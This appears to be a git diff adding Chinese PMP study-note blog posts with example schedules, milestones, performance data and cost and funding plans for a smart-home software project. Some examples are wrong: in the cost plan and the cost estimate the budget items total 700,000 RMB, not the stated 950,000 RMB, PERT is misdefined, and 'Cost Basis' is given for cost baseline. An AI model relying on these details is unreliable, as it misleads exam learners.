需求分析 | 收集和分析项目需求 | A01 | A03 | 10天 | +| A03 | 系统概要设计 | 编写系统的概要设计文档 | A02 | A04 | 15天 | +| A04 | 系统详细设计 | 详细设计系统各个模块的功能和接口 | A03 | A05 | 20天 | +| A05 | 系统开发 | 开发系统模块，编写代码 | A04 | A06 | 50天 | +| A06 | 单元测试 | 测试各个模块的功能，修复缺陷 | A05 | A07 | 15天 | +| A07 | 集成测试 | 对系统进行集成测试，确保模块互通 | A06 | A08 | 20天 | +| A08 | 用户验收测试 | 与用户一同进行系统的验收测试 | A07 | A09 | 10天 | +| A09 | 系统上线 | 部署系统并上线 | A08 | 无 | 5天 | diff --git a/_posts/2024-10-06-680-ap.md b/_posts/2024-10-06-680-ap.md new file mode 100644 index 0000000..0c59321 --- /dev/null +++ b/_posts/2024-10-06-680-ap.md @@ -0,0 +1,26 @@ +--- +layout: post +title: 活动属性 +pid: 680 +tags: [pmp, 高项] +--- + +活动属性 - Activity Properties + +### **2. 活动属性** + +活动属性为每个活动提供更多详细信息，通常包括任务描述、资源需求、制约条件等信息。 + + + +| 活动编号 | 活动名称 | 任务负责人 | 资源需求 | 开始日期 | 结束日期 | 制约条件 | +| -------- | ------------ | ---------- | ------------ | ---------- | ---------- | ------------------------------ | +| A01 | 项目启动 | 项目经理 | 无 | 2024-11-01 | 2024-11-02 | 需获得项目发起人批准 | +| A02 | 需求分析 | 业务分析师 | 需求分析工具 | 2024-11-03 | 2024-11-13 | 依赖客户提供完整需求 | +| A03 | 系统概要设计 | 架构师 | 无 | 2024-11-14 | 2024-11-29 | 需求分析阶段完成 | +| A04 | 系统详细设计 | 系统设计师 | 无 | 2024-11-30 | 2024-12-20 | 系统概要设计文档完成并审批 | +| A05 | 系统开发 | 开发团队 | 开发工具 | 2024-12-21 | 2025-02-10 | 需根据详细设计文档开发功能模块 | +| A06 | 单元测试 | 测试工程师 | 测试环境 | 2025-02-11 | 2025-02-26 | 各个模块的开发已完成 | +| A07 | 集成测试 | 测试团队 | 集成测试环境 | 2025-02-27 | 2025-03-19 | 所有模块已通过单元测试 | +| A08 | 用户验收测试 | 用户团队 | 用户测试环境 | 2025-03-20 | 2025-03-30 | 集成测试通过，准备进行用户测试 | +| A09 | 系统上线 | 运维团队 | 服务器等资源 | 2025-04-01 | 2025-04-05 | 验收测试通过，并获用户确认 | diff --git a/_posts/2024-10-06-681-ml.md b/_posts/2024-10-06-681-ml.md new file mode 100644 index 0000000..88ab0e1 --- /dev/null +++ b/_posts/2024-10-06-681-ml.md @@ -0,0 +1,23 @@ +--- +layout: post +title: 里程碑清单 +pid: 681 +tags: [pmp, 高项] +--- + +里程碑清单 - Milestone List + +### **3. 里程碑清单** + +里程碑是项目中的关键点或阶段，通常与项目的重要成果或阶段结束相关。 + +| 里程碑编号 | 里程碑名称 | 里程碑描述 | 完成标准 | 预期完成日期 | +| ---------- | ---------------- | -------------------------------- | ------------------------ | ------------ | +| M01 | 项目启动 | 项目启动，项目经理任命 | 项目章程签署完成 | 2024-11-01 | +| M02 | 需求分析完成 | 需求分析完成，需求文档获客户确认 | 需求文档审核通过 | 2024-12-01 | +| M03 | 系统设计完成 | 系统概要和详细设计完成 | 设计文档获批 | 2024-12-20 | +| M04 | 系统开发完成 | 所有功能模块开发完成 | 代码提交并通过初步测试 | 2025-02-10 | +| M05 | 单元测试完成 | 单元测试完成，所有模块功能正常 | 所有模块通过单元测试 | 2025-02-26 | +| M06 | 集成测试完成 | 集成测试完成，系统功能通过测试 | 集成测试报告通过评审 | 2025-03-19 | +| M07 | 用户验收测试完成 | 用户验收测试完成，获得用户批准 | 用户签署验收报告 | 2025-03-30 | +| M08 | 系统上线 | 系统部署并上线运行 | 系统运行正常，无重大缺陷 | 2025-04-05 | diff --git a/_posts/2024-10-06-682-ade.md b/_posts/2024-10-06-682-ade.md new file mode 100644 index 0000000..b64714d --- /dev/null +++ b/_posts/2024-10-06-682-ade.md @@ -0,0 +1,21 @@ +--- +layout: post +title: 持续时间估算 +pid: 682 +tags: [pmp, 高项] +--- + +持续时间估算：Activity Duration Estimates + +### 持续时间估算： + +1. **需求分析**：15个工作日 + - **估算依据**：基于类似项目经验，需求分析通常需要2-3周，包含用户调研和功能需求编写。 +2. **系统设计**：10个工作日 + - **估算依据**：考虑到项目规模和系统复杂性，系统设计包括概要设计和详细设计，平均耗时为10天。 +3. **开发**：30个工作日 + - **估算依据**：根据团队开发速度以及预估的代码行数和模块复杂度，30天为合理估算。 +4. **测试**：20个工作日 + - **估算依据**：结合单元测试、集成测试和回归测试的时间，20天被认为是完成全面测试的合理时间。 +5. **上线准备与实施**：5个工作日 + - **估算依据**：历史上线流程中的部署和测试花费了大约5天的时间，包括最终系统验证和用户培训。 \ No newline at end of file diff --git a/_posts/2024-10-06-683-boe.md b/_posts/2024-10-06-683-boe.md new file mode 100644 index 0000000..cd1a73b --- /dev/null +++ b/_posts/2024-10-06-683-boe.md @@ -0,0 +1,16 @@ +--- +layout: post +title: 估算依据 +pid: 683 +tags: [pmp, 高项] +--- + +估算依据：Basis of Estimates。 + +### 估算依据： + +- **类比估算**：基于过往类似项目的时间数据进行估算。 +- **专家判断**：开发团队和项目经理基于其经验给出合理的时间范围。 +- **参数估算**：通过将项目规模、复杂度、任务数量等参数代入模型计算得到持续时间。 +- **历史数据**：分析以往类似项目的时间分布情况，尤其是软件开发和测试的经验。 +- **计划评审技术**：通过在内部评审持续时间估算，确保没有遗漏关键因素或时间段。 \ No newline at end of file diff --git a/_posts/2024-10-06-684-sb.md b/_posts/2024-10-06-684-sb.md new file mode 100644 index 0000000..059c240 --- /dev/null +++ b/_posts/2024-10-06-684-sb.md @@ -0,0 +1,24 @@ +--- +layout: post +title: 进度基准 +pid: 684 +tags: [pmp, 高项] +--- + +进度基准：Schedule Baseline。 + +### 1. **进度基准** + +进度基准是用于衡量项目实际进展与计划进度的对比标准，它是项目的主要管理工具之一。进度基准包括所有活动的计划开始和结束时间，设置好后不轻易更改。 + +**进度基准示例：** + +- **项目启动**：2024年10月1日 +- **需求分析**：2024年10月2日 - 2024年10月20日 +- **系统设计**：2024年10月21日 - 2024年10月31日 +- **开发阶段**：2024年11月1日 - 2024年12月10日 +- **测试阶段**：2024年12月11日 - 2024年12月31日 +- **上线准备与实施**：2025年1月1日 - 2025年1月5日 + +**总完成时间**：2025年1月5日 + diff --git a/_posts/2024-10-06-685-ps.md b/_posts/2024-10-06-685-ps.md new file mode 100644 index 0000000..8226d5b --- /dev/null +++ b/_posts/2024-10-06-685-ps.md @@ -0,0 +1,34 @@ +--- +layout: post +title: 项目进度计划 +pid: 685 +tags: [pmp, 高项] +--- + +项目进度计划：Schedule或Project Schedule。 + +### 2. **项目进度计划** + +项目进度计划是进度基准的具体化版本，列出各项活动的详细计划，明确每项任务的起止时间和依赖关系。它通常会配合甘特图或项目进度网络图进行展示。 + +**项目进度计划示例：** + +- 需求分析（15天）：2024年10月2日 - 2024年10月20日 + + - 分析客户需求、整理功能需求文档 + +- 系统设计（10天）：2024年10月21日 - 2024年10月31日 + + - 概要设计、详细设计、技术方案确定 + +- 开发（30天）：2024年11月1日 - 2024年12月10日 + + - 模块化开发、代码编写 + +- 测试（20天）：2024年12月11日 - 2024年12月31日 + + - 单元测试、集成测试、性能测试 + +- 上线准备与实施（5天）：2025年1月1日 - 2025年1月5日 + + - 部署、验证、培训 \ No newline at end of file diff --git a/_posts/2024-10-06-686-sd.md b/_posts/2024-10-06-686-sd.md new file mode 100644 index 0000000..0bfcd18 --- /dev/null +++ b/_posts/2024-10-06-686-sd.md @@ -0,0 +1,19 @@ +--- +layout: post +title: 进度数据 +pid: 686 +tags: [pmp, 高项] +--- + +进度数据 - Schedule Data + +### 3. **进度数据** + +进度数据是项目运行过程中的实际进度信息，通过与进度基准进行对比，可以分析项目是否按计划执行。 + +**进度数据示例：** + +- **需求分析实际完成时间**：2024年10月21日，超出计划1天 +- **系统设计实际开始时间**：2024年10月22日，按时进行 +- **开发实际进展**：截至2024年12月1日，完成70%开发任务，较计划提前3天 +- **测试预计完成时间**：2024年12月28日，较计划提前 \ No newline at end of file diff --git a/_posts/2024-10-06-687-pc.md b/_posts/2024-10-06-687-pc.md new file mode 100644 index 0000000..1e8ec83 --- /dev/null +++ b/_posts/2024-10-06-687-pc.md @@ -0,0 +1,20 @@ +--- +layout: post +title: 项目日历 +pid: 687 +tags: [pmp, 高项] +--- + +项目日历：Project Calendar。 + +### 4. **项目日历** + +项目日历用于规定项目团队何时工作，包括工作日、非工作日和特殊的工作时间安排。它帮助项目经理合理安排进度，考虑节假日和其他停工时间。 + +**项目日历示例：** + +- **工作日**：周一至周五，每天9:00 - 18:00 +- **非工作日**：周六、周日及以下节假日 + - **国庆节假日**：2024年10月1日 - 2024年10月7日 + - **圣诞节假期**：2024年12月24日 - 2024年12月26日 +- **特殊安排**：2025年1月3日 - 1月5日为上线实施阶段，团队可能加班完成部署和验证 \ No newline at end of file diff --git a/_posts/2024-10-06-688-wpd.md b/_posts/2024-10-06-688-wpd.md new file mode 100644 index 0000000..8bf9ee1 --- /dev/null +++ b/_posts/2024-10-06-688-wpd.md @@ -0,0 +1,29 @@ +--- +layout: post +title: 工作绩效数据 +pid: 688 +tags: [pmp, 高项] +--- + +工作绩效数据（Work Performance Data） + +### 1. **进度相关的工作绩效数据** + +**工作绩效数据**是项目执行过程中收集的实际数据，主要用于衡量项目任务的进展情况。数据通常是从项目中直接获得的，未经分析或解释。 + +**示例：** + +| 活动名称 | 计划开始时间 | 实际开始时间 | 计划结束时间 | 实际结束时间 | 完成比例 | +| -------------- | -------------- | -------------- | -------------- | -------------- | -------- | +| 需求分析 | 2024年10月2日 | 2024年10月2日 | 2024年10月20日 | 2024年10月21日 | 100% | +| 系统设计 | 2024年10月21日 | 2024年10月22日 | 2024年10月31日 | 2024年11月1日 | 100% | +| 开发 | 2024年11月1日 | 2024年11月1日 | 2024年12月10日 | 进行中 | 70% | +| 测试 | 2024年12月11日 | - | 2024年12月31日 | - | 0% | +| 上线准备与实施 | 2025年1月1日 | - | 2025年1月5日 | - | 0% | + +**工作绩效数据解读：** + +- 需求分析活动超出计划1天。 +- 系统设计实际开始和结束时间稍微延迟了1天。 +- 开发阶段进展较顺利，当前完成70%，预计提前完成。 +- 测试和上线阶段尚未开始。 diff --git a/_posts/2024-10-06-689-wpi.md b/_posts/2024-10-06-689-wpi.md new file mode 100644 index 0000000..c8a5466 --- /dev/null +++ b/_posts/2024-10-06-689-wpi.md @@ -0,0 +1,25 @@ +--- +layout: post +title: 工作绩效信息 +pid: 689 +tags: [pmp, 高项] +--- + +工作绩效信息（Work Performance Information） + +### 2. **进度相关的工作绩效信息** + +**工作绩效信息**是通过对工作绩效数据进行分析和整理后生成的信息，它用于评估项目的整体表现，帮助项目经理做出调整决策。 + +**示例：** + +- **需求分析延迟1天**：虽然需求分析略有延迟，但对整体项目进度影响较小，相关团队已经在系统设计阶段弥补了时间。 +- **系统设计延迟1天**：系统设计阶段也略有延迟，但设计团队利用加班将影响降到最低，项目继续按计划推进。 +- **开发进度提前**：当前开发进度超过计划70%，较原计划提前3天，团队进度高效。这为后续的测试阶段提供了时间缓冲。 +- **测试阶段的时间压力**：虽然当前进度较好，但测试阶段可能出现不可预见的技术问题，建议在正式进入测试阶段之前进行开发团队与测试团队的协同准备，确保顺利交接。 +- **上线准备的预期风险**：根据以往经验，上线阶段可能会因部署环境、系统集成等问题出现延误，建议提前准备部署文档并进行系统模拟。 + +**工作绩效信息总结：** + +- 当前进度处于良好状态，但后期测试阶段需要谨慎管理，以防突发问题影响上线日期。 +- 在风险较小的前提下，可以考虑优化资源调度，将部分开发人员提前参与测试，以确保按时完成。 diff --git a/_posts/2024-10-07-690-cmp.md b/_posts/2024-10-07-690-cmp.md new file mode 100644 index 0000000..eb229b2 --- /dev/null +++ b/_posts/2024-10-07-690-cmp.md @@ -0,0 +1,96 @@ +--- +layout: post +title: 成本管理计划 +pid: 690 +tags: [pmp, 高项] +--- + +成本管理计划 - Cost Management Plan + +### **项目成本管理计划示例** + +#### **1. 项目背景** + +- **项目名称**：智能家居控制系统开发项目 +- **项目经理**：王伟 +- **项目起始日期**：2024年8月1日 +- **预计完工日期**：2025年1月5日 +- **预算**：950,000 RMB + +#### **2. 目标与目的** + +项目成本管理计划的目的是确保项目成本控制在预算范围内，并为项目各个阶段的成本估算、成本基准以及成本控制提供指导。通过这一计划，项目团队能够准确跟踪成本，识别偏差，并采取纠正措施，保证项目顺利进行。 + +#### **3. 成本管理方法** + +项目将采用**自下而上估算**和**专家判断**的方法来确定成本，同时通过以下方式管理和控制项目的成本： + +- **成本估算**：详细估算项目各阶段（需求分析、设计、开发、测试、部署）的成本，并为各工作包制定准确的预算。 +- **成本基准**：成本基准将与项目范围基准和进度基准相结合，以确保在所有项目约束条件下维持预算。 +- **成本控制**：通过定期的工作绩效数据监控项目的成本使用情况，使用EVM（挣值管理）等工具识别超支，并采取相应的纠正措施。 + +#### **4. 成本估算** + +成本估算是根据项目的工作分解结构（WBS）及项目范围进行的。具体成本估算分为以下几个阶段： + +- **需求分析阶段**：20,000 RMB +- **设计阶段**：50,000 RMB +- **开发阶段**：300,000 RMB +- **测试阶段**：150,000 RMB +- **部署和收尾阶段**：100,000 RMB +- **应急储备**：50,000 RMB +- **管理储备**：30,000 RMB + +估算依据包括历史数据、市场价格、供应商报价以及专家判断。 + +#### **5. 成本基准** + +项目的**成本基准**为 950,000 RMB。该基准将作为监控项目的实际成本与预算偏差的参考标准。一旦批准，任何变更都需要通过变更控制流程。 + +#### **6. 成本控制** + +项目将采取以下几种成本控制措施： + +- **挣值管理 (EVM)**：定期评估项目的挣值 (EV)、实际成本 (AC) 和计划值 (PV)，计算关键指标（如成本绩效指数 CPI 和进度绩效指数 SPI）来评估成本绩效。 +- **成本监控**：每月进行成本审查会议，比较预算和实际支出，并识别潜在的超支风险。使用Earned Value分析工具发现偏差。 +- **变更控制**：任何超出预算的支出或成本调整需通过变更控制委员会 (CCB) 审批。 + +#### **7. 成本绩效测量** + +项目成本绩效的测量主要通过以下工具和方法： + +- **CPI（成本绩效指数）**：CPI = EV / AC。若CPI < 1，表示项目成本超支；若CPI > 1，表示成本节约。 +- **EAC（完工估算）**：通过对项目的成本和进度进行监控，动态更新EAC（项目最终预计完成时的总成本）。 +- **VAC（预算偏差）**：VAC = BAC - EAC，用以评估预算与最终完工估算之间的差距。 + +#### **8. 成本报告** + +项目将定期生成**工作绩效报告**，包括实际支出、成本偏差、预算使用情况等，报告频率为每月一次，针对项目关键干系人和项目发起人。 + +#### **9. 成本变更管理** + +在项目执行期间，若出现成本偏差或超支情况，项目团队将按照变更控制流程提交**变更请求**，包括详细的成本分析、超支原因、影响分析和纠正措施。每个变更请求需经过变更控制委员会的审查和批准。 + +#### **10. 资金需求** + +项目的资金需求依据项目进度安排按阶段分配： + +- **需求分析阶段**： 20,000 RMB +- **设计阶段**： 50,000 RMB +- **开发阶段**： 300,000 RMB（其中应急资金 30,000 RMB） +- **测试阶段**： 150,000 RMB（其中应急资金 20,000 RMB） +- **部署和收尾阶段**： 100,000 RMB（管理储备 30,000 RMB） + +#### **11. 关键干系人和责任分配** + +- **项目经理**：负责整体成本管理计划的制定、执行和监控。 +- **财务部门**：定期提供成本报告，并支持项目团队进行成本绩效分析。 +- **变更控制委员会 (CCB)**：负责审批所有涉及成本超支或成本基准变更的请求。 + +#### **12. 风险应对措施** + +为应对可能的成本风险，项目团队准备了以下应急措施： + +- **预算外应急储备**： 50,000 RMB +- **成本超支风险**：通过加强进度控制，减少因延迟导致的成本增加，提前识别并管理风险。 +- **汇率波动风险**：对于需要采购进口设备的环节，保留一定的货币汇率浮动空间。 diff --git a/_posts/2024-10-07-691-ce.md b/_posts/2024-10-07-691-ce.md new file mode 100644 index 0000000..23c996e --- /dev/null +++ b/_posts/2024-10-07-691-ce.md @@ -0,0 +1,100 @@ +--- +layout: post +title: 成本估算 +pid: 691 +tags: [pmp, 高项] +--- + +**成本估算**：英文术语为“Cost Estimation”。 + +### **项目成本估算示例** + +#### **项目背景** + +- **项目名称**：智能家居控制系统开发项目 +- **项目经理**：王伟 +- **预算总额**：950,000 RMB +- **预计完工日期**：2025年1月5日 + +#### **1. 成本估算方法** + +项目的成本估算基于以下几种方法： + +- **专家判断**：项目团队参考以往项目经验以及相关领域专家的建议进行估算。 +- **类比估算**：参考类似项目的成本数据，并根据当前项目的特殊需求进行调整。 +- **自下而上估算**：根据WBS的工作包进行逐一估算，并汇总得到整体项目成本。 +- **三点估算**：针对一些不确定性较高的工作，采用乐观值、最可能值和悲观值的加权平均法。 + +#### **2. 成本估算分类** + +以下是项目按阶段的详细成本估算： + +| **工作包/活动** | **估算金额 (RMB)** | **估算依据/说明** | +| ------------------ | ------------------ | -------------------------------------------------------- | +| **需求分析** | 20,000 | 专家估算，基于团队过往类似项目的需求分析时间与人力成本 | +| **系统设计** | 50,000 | 包括概要设计、详细设计及功能设计 | +| **系统开发** | 300,000 | 软件模块开发、编程和代码实现，基于市场的开发人员薪资水平 | +| **测试与质量保证** | 150,000 | 包括系统测试、用户验收测试等 | +| **部署和实施** | 100,000 | 包括软件部署、环境配置及最终验收 | +| **应急储备** | 50,000 | 用于不可预见的项目风险应对 | +| **管理储备** | 30,000 | 用于解决重大变更或预算外问题 | + +#### **3. 详细估算（按WBS）** + +##### **需求分析阶段** + +- 需求收集：10,000 RMB + - 估算依据：需求调研小组4人，工作周期2周。 +- 需求确认和文档化：10,000 RMB + - 估算依据：技术文档编写及审查所需人力。 + +##### **设计阶段** + +- 概要设计：20,000 RMB + - 估算依据：设计团队完成系统的整体架构设计。 +- 详细设计：30,000 RMB + - 估算依据：开发团队设计各子系统模块。 + +##### **开发阶段** + +- 软件开发：250,000 RMB + - 估算依据：开发人员每人月薪25,000 RMB，开发周期约10人月。 +- 文档编写：20,000 RMB + - 估算依据：开发文档和用户手册的编写成本。 +- 集成与验证：30,000 RMB + - 估算依据：系统集成测试、接口调试等费用。 + +##### **测试阶段** + +- 单元测试：50,000 RMB + - 估算依据：测试人员配置及使用工具的成本。 +- 系统测试：60,000 RMB + - 估算依据：全系统测试，模拟真实用户场景。 +- 验收测试：40,000 RMB + - 估算依据：用户与项目组联合进行的最终验收。 + +##### **部署阶段** + +- 环境配置与安装：50,000 RMB + - 估算依据：部署服务器、系统安装以及配置成本。 +- 培训与技术支持：30,000 RMB + - 估算依据：对用户及维护团队进行培训的费用。 + +#### **4. 其他费用** + +- 应急储备：50,000 RMB + - 估算依据：用于项目执行过程中出现的未预见问题，如需求变更。 +- 管理储备：30,000 RMB + - 估算依据：用于项目管理层可能需要额外决策的费用。 + +#### **5. 成本汇总** + +- 总项目预算：950,000 RMB + - **直接成本**：需求、设计、开发、测试及部署阶段直接投入的成本。 + - **间接成本**：如管理储备、应急储备等费用。 + +#### **6. 估算依据** + +- 项目历史数据：使用以往项目的预算数据作为参考。 +- 专家判断：团队内外部专家根据项目特性提供的意见。 +- 市场调研：根据行业内开发和测试人员的市场价格以及设备租赁费用等。 diff --git a/_posts/2024-10-07-692-boe.md b/_posts/2024-10-07-692-boe.md new file mode 100644 index 0000000..e2ee168 --- /dev/null +++ b/_posts/2024-10-07-692-boe.md @@ -0,0 +1,68 @@ +--- +layout: post +title: 估算依据 +pid: 692 +tags: [pmp, 高项] +--- + +**估算依据**：英文中可以用“Basis of Estimate”来表示 + +### **估算依据** + +#### **1. 专家判断** + +- **使用场景**：需求分析阶段的人工成本、系统设计阶段的设计费用。 +- **依据来源**：在项目开始时，依赖内部资深开发人员、项目经理及行业专家的经验进行估算。专家结合之前类似项目的情况以及当前项目的复杂度和规模，给出各阶段的大致费用。 +- 示例： + - **需求分析阶段**：由于项目的功能复杂，预计会花费约4个人周的时间进行需求调研、文档化和需求确认，费用总计20,000 RMB。此费用由专家结合以往类似项目给出的估算。 + +#### **2. 类比估算** + +- **使用场景**：系统开发、测试阶段的预算。 +- **依据来源**：通过参考以往相似类型的项目，推断当前项目的成本需求。例如，之前的项目为某类信息管理系统开发，开发成本占总预算的40%，测试成本占总预算的15%，因此推测本项目的开发与测试成本也会维持在类似比例。 +- 示例： + - **系统开发**：参考过去智能家居控制系统开发项目的成本结构，基于开发人员的工时和薪资水平，估算出开发成本为250,000 RMB。 + +#### **3. 自下而上估算** + +- **使用场景**：需求分析、系统设计、开发与测试各阶段的任务分解。 +- **依据来源**：自下而上估算是基于WBS（工作分解结构）逐个工作包或任务进行细致估算，然后汇总得出总体成本。每个工作包的任务分解后，结合具体的人员配置和工时来估算成本。 +- 示例： + - **需求分析**：需求分析阶段分为需求收集与需求确认两个工作包，每个工作包分别估算10,000 RMB。结合实际的人员配置和工时进行详细的估算。 + +#### **4. 市场调研** + +- **使用场景**：开发、测试、硬件采购等阶段的成本估算。 +- **依据来源**：通过对市场上相关资源的价格调研，确定项目中所需资源的费用。例如，开发人员的薪资水平、测试设备的租赁价格等信息，均来自于市场调研数据。 +- 示例： + - **开发人员薪资**：市场调研显示，具有相应经验的开发人员平均月薪为25,000 RMB。根据项目需要，估算系统开发阶段的开发成本为10人月，费用为250,000 RMB。 + - **硬件设备**：部署阶段所需的服务器、网络设备及其他硬件采购，均根据市场报价进行估算，估算成本为50,000 RMB。 + +#### **5. 三点估算法** + +- **使用场景**：用于不确定性较高的工作包或任务，如复杂功能的开发或需求变更引发的额外开发工作。 +- **依据来源**：通过计算乐观估算、最可能估算和悲观估算的加权平均值来得出成本预测。 +- 示例： + - **功能开发任务**：假设功能模块开发的乐观估算为200,000 RMB，最可能估算为250,000 RMB，悲观估算为300,000 RMB。通过三点估算法得出加权平均值，最终成本估算为250,000 RMB。 + +#### **6. 项目历史数据** + +- **使用场景**：各阶段的成本估算。 +- **依据来源**：项目团队通过参考之前执行的类似项目的成本数据，对当前项目进行相似工作包的成本估算。历史数据能有效提供参考基础，尤其是在处理相同类型的任务或工作包时。 +- 示例： + - **系统测试**：根据过去智能系统开发中的测试成本，系统测试和验收测试大约占总开发成本的20%。因此，结合项目需求，推断出当前项目测试阶段的成本为150,000 RMB。 + +#### **7. 工时评估** + +- **使用场景**：开发和测试阶段的人工成本估算。 +- **依据来源**：通过评估项目团队中开发人员和测试人员的工时需求，结合其月薪或时薪，推断出每一阶段的人力成本。 +- 示例： + - **软件开发**：预计项目需要10人月的开发时间，开发人员的月薪为25,000 RMB，估算出开发成本为250,000 RMB。 + +#### **8. 应急储备和管理储备** + +- **使用场景**：用于应对不可预见的项目风险或需求变更带来的额外成本。 +- **依据来源**：通过分析项目风险和复杂度，为应急储备和管理储备设定合理的费用。应急储备一般用于较小的变更或问题，而管理储备用于较大规模的变更。 +- 示例： + - **应急储备**：考虑到潜在的需求变更和开发风险，设置50,000 RMB的应急储备以应对未预见问题。 + - **管理储备**：用于项目关键节点的决策调整，设置30,000 RMB管理储备。 diff --git a/_posts/2024-10-07-693-cb.md b/_posts/2024-10-07-693-cb.md new file mode 100644 index 0000000..5676d40 --- /dev/null +++ b/_posts/2024-10-07-693-cb.md @@ -0,0 +1,72 @@ +--- +layout: post +title: 成本基准 +pid: 693 +tags: [pmp, 高项] +--- + +成本基准：英文术语为“Cost Basis”。 + +### **成本基准** + +#### **1. 成本基准概述** + +成本基准是项目批准的预算计划，用于衡量和控制项目进展的成本支出情况。它包括项目的各项成本估算、应急储备以及其他根据项目需求设置的成本预算。成本基准是项目成本管理的基石，项目经理需要不断将实际成本与基准进行对比，确保项目在预算范围内完成。 + +#### **2. 项目成本估算** + +成本基准的核心由详细的成本估算组成，涵盖项目中各个阶段或工作包的预算。以下为项目的各阶段估算和应急储备： + +- 需求分析阶段：50,000 RMB + - 该阶段包括需求调研、需求确认、需求文档编写等工作。 +- 系统设计阶段：100,000 RMB + - 包括概要设计和详细设计，涉及架构设计、功能设计等内容。 +- 系统开发阶段：300,000 RMB + - 开发阶段涵盖所有功能模块的编写、初步测试、代码集成等。 +- 系统测试阶段：150,000 RMB + - 包括单元测试、集成测试、验收测试等环节。 +- 部署与上线阶段：80,000 RMB + - 包括生产环境部署、配置测试、上线支持等。 + +#### **3. 应急储备** + +应急储备是为了应对项目过程中可能发生的已知未知风险所设立的额外预算。根据项目的复杂性和风险评估，本项目设立了10%的应急储备。各阶段应急储备如下： + +- **需求分析阶段应急储备**：5,000 RMB +- **系统设计阶段应急储备**：10,000 RMB +- **系统开发阶段应急储备**：30,000 RMB +- **系统测试阶段应急储备**：15,000 RMB +- **部署与上线阶段应急储备**：8,000 RMB + +应急储备总计：**68,000 RMB** + +#### **4. 管理储备** + +管理储备是为应对项目整体过程中可能产生的重大变更或调整（未知未知风险）设立的资金。一般情况下，管理储备由高级管理层控制，项目经理在得到批准后才能使用。本项目的管理储备设置为项目总预算的5%，即： + +- **管理储备**：**34,000 RMB** + +#### **5. 总成本基准** + +项目的总成本基准包含各阶段的成本估算、应急储备以及管理储备。该基准为项目进展中的成本控制提供了框架和参照： + +- **需求分析阶段总成本**：55,000 RMB +- **系统设计阶段总成本**：110,000 RMB +- **系统开发阶段总成本**：330,000 RMB +- **系统测试阶段总成本**：165,000 RMB +- **部署与上线阶段总成本**：88,000 RMB +- **管理储备**：34,000 RMB +- **总成本基准**：782,000 RMB + +#### **6. 成本基准的使用** + +成本基准将作为项目过程中衡量成本绩效的参考标准。项目经理将定期进行成本控制和监控，通过与基准对比，识别超出预算的部分，采取相应的纠正措施。 + +- **控制周期**：每月进行成本对比，生成工作绩效信息。 +- **衡量工具**：使用EVM（挣值管理）方法，计算CV（成本偏差）、CPI（成本绩效指数）等指标，确保成本的合理使用。 + +#### **7. 成本基准的调整** + +成本基准一旦设定，将成为项目变更控制过程中的重要参考。若出现重大变更或调整需求，必须通过正式的变更控制程序，经审批后调整成本基准。 + +- **调整条件**：若需求变更、设计变更或不可抗力导致项目成本超出原有估算，则需要重新调整基准，并由相关干系人审批。 diff --git a/_posts/2024-10-07-694-pfr.md b/_posts/2024-10-07-694-pfr.md new file mode 100644 index 0000000..1d61d3c --- /dev/null +++ b/_posts/2024-10-07-694-pfr.md @@ -0,0 +1,105 @@ +--- +layout: post +title: 项目资金需求 +pid: 694 +tags: [pmp, 高项] +--- + +项目资金需求：英文术语可以表达为“Project Fund Requirement”或“Project Funding Demand”。 + +### **项目资金需求** + +#### **1. 项目资金需求概述** + +项目资金需求是基于项目成本基准和项目的进度计划进行的资金预测，用于确定项目在各个阶段所需的资金支持。它帮助项目管理团队确保资金的及时到位，以支持项目的顺利推进。资金需求通常会按照项目的各个阶段进行分配，并且会与项目的进度和里程碑相关联。 + +#### **2. 项目阶段资金需求** + +根据项目的进度计划和成本基准，项目资金需求可分为以下几个阶段。各阶段资金需求应根据具体的任务和工作包进行分解： + +- **需求分析阶段** + - **时间段**：2024年1月 - 2024年2月 + - **总预算**：50,000 RMB + - **应急储备**：5,000 RMB + - **管理储备分配**：3,000 RMB + - **资金需求总计**：58,000 RMB + - **资金支付时间**：2024年1月25日 +- **系统设计阶段** + - **时间段**：2024年3月 - 2024年5月 + - **总预算**：100,000 RMB + - **应急储备**：10,000 RMB + - **管理储备分配**：5,000 RMB + - **资金需求总计**：115,000 RMB + - **资金支付时间**：2024年4月15日 +- **系统开发阶段** + - **时间段**：2024年6月 - 2024年10月 + - **总预算**：300,000 RMB + - **应急储备**：30,000 RMB + - **管理储备分配**：15,000 RMB + - **资金需求总计**：345,000 RMB + - **资金支付时间**：2024年8月1日 +- **系统测试阶段** + - **时间段**：2024年11月 - 2024年12月 + - **总预算**：150,000 RMB + - **应急储备**：15,000 RMB + - **管理储备分配**：7,000 RMB + - **资金需求总计**：172,000 RMB + - **资金支付时间**：2024年11月20日 +- **部署与上线阶段** + - **时间段**：2025年1月 - 2025年2月 + - **总预算**：80,000 RMB + - **应急储备**：8,000 RMB + - **管理储备分配**：4,000 RMB + - **资金需求总计**：92,000 RMB + - **资金支付时间**：2025年1月10日 + +#### **3. 按里程碑划分的资金需求** + +除了阶段性资金需求，项目还需根据重要的里程碑节点进行资金分配，以确保在关键节点上资金充足，满足项目的运行需求： + +- **项目启动资金**（需求分析阶段完成） + - **金额**：58,000 RMB + - **支付时间**：2024年1月25日 + - **目标里程碑**：完成需求文档并获得干系人批准 +- **设计评审资金**（系统设计阶段完成） + - **金额**：115,000 RMB + - **支付时间**：2024年4月15日 + - **目标里程碑**：完成系统概要设计和详细设计并通过评审 +- **开发完成资金**（系统开发阶段完成） + - **金额**：345,000 RMB + - **支付时间**：2024年8月1日 + - **目标里程碑**：开发完成，系统进入测试阶段 +- **测试完成资金**（系统测试阶段完成） + - **金额**：172,000 RMB + - **支付时间**：2024年11月20日 + - **目标里程碑**：系统通过所有测试，准备上线 +- **上线资金**（部署与上线阶段完成） + - **金额**：92,000 RMB + - **支付时间**：2025年1月10日 + - **目标里程碑**：系统上线并完成交付 + +#### **4. 总项目资金需求** + +项目的资金需求总计为项目的各阶段资金需求和应急储备、管理储备的总和。如下所示： + +- **需求分析阶段资金需求**：58,000 RMB +- **系统设计阶段资金需求**：115,000 RMB +- **系统开发阶段资金需求**：345,000 RMB +- **系统测试阶段资金需求**：172,000 RMB +- **部署与上线阶段资金需求**：92,000 RMB +- **项目总资金需求**：782,000 RMB + +#### **5. 资金需求支付方式** + +根据项目的进度计划，资金将按月或按阶段划分发放，确保各个阶段的顺利开展。资金支付的方式应尽可能灵活，确保各个项目阶段的资金需求得到及时满足： + +- **分期支付**：按照各阶段的资金需求计划进行分期支付。 +- **风险缓冲**：预留资金的应急储备，以应对突发情况和成本超支。 +- **审批流程**：每一笔资金支付需经过项目管理团队和财务部的审批，以确保支出的合理性和合规性。 + +#### **6. 资金需求调整** + 